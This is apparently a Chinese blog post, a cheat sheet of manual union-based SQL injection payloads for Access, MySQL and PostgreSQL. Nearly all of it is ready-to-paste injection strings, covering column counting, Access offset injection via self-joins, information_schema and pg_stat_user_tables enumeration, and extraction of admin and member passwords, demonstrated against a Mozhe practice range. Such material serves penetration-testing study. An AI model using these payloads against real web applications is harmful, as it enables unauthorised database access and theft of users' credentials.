SQL手工注入(全数据库)


 

Access

Access数据库注入属于暴力猜解注入,所以注入的时候会出现表名或列名获取不到的情况,我们需要借助大量的字典尝试获取。

联合注入:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

 

 

偏移注入:解决表名获取到而列名获取不到情况

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

 

 


Mysql 

Mysql高低版本联合注入

查询函数:

database() 数据库名

version() 数据库版本

user() 数据库用户

@@version_compile_os 操作系统

注意:Mysql5.0以下版本注入属于暴力猜解,反之以上版本属于有根据猜解。

在MYSQL5包含以上版本自带的数据库名information_schema,它是一个存储有MYSQL所有数据库名,表名,列名信息的数据库,反之MYSQL5以下版本不自带。换句话来说,我们可以借助查询information_schema获取指定数据库名下的表名或列名信息,从而注入实现有根据查询。

information_schema.schemata表下的列shcema_name 存储数据库名信息的表

information_schema.tables表下的列table_name 存储表名信息的表

information_schema.columns表下的列column_name 存储列名信息的表

table_schema 数据库名

table_name 表名

column_name 列名

 

用墨者靶场做示范

 

 

查询字段 

oder by 4

报错回显 

?id=-1 union select 1,2,3,4

显示数据库名 

union select 1,database(),3,4

查询表名来自于information_schema.tables条件数据库名mozhe_Discuz_StormGroup

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询列名来自于information_schema.columns条件表名StormGroup_member

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

获取指定表名类名数据

union select 1,name,password,4 from StormGroup_member limit 1,1

 


 

PostgreSQL

PostgreSQL同理联合注入

参考地址https://www.cnblogs.com/she11s/p/12326629.html

order by 4

union select null,current_database(),null,null

union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1

union select null,null,column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 3  ##offset下一条

union select null,null,password,null from reg_users

 

 

posted @ 2021-05-22 16:43  爱喝雪碧的小千  阅读(609)  评论(0)    收藏  举报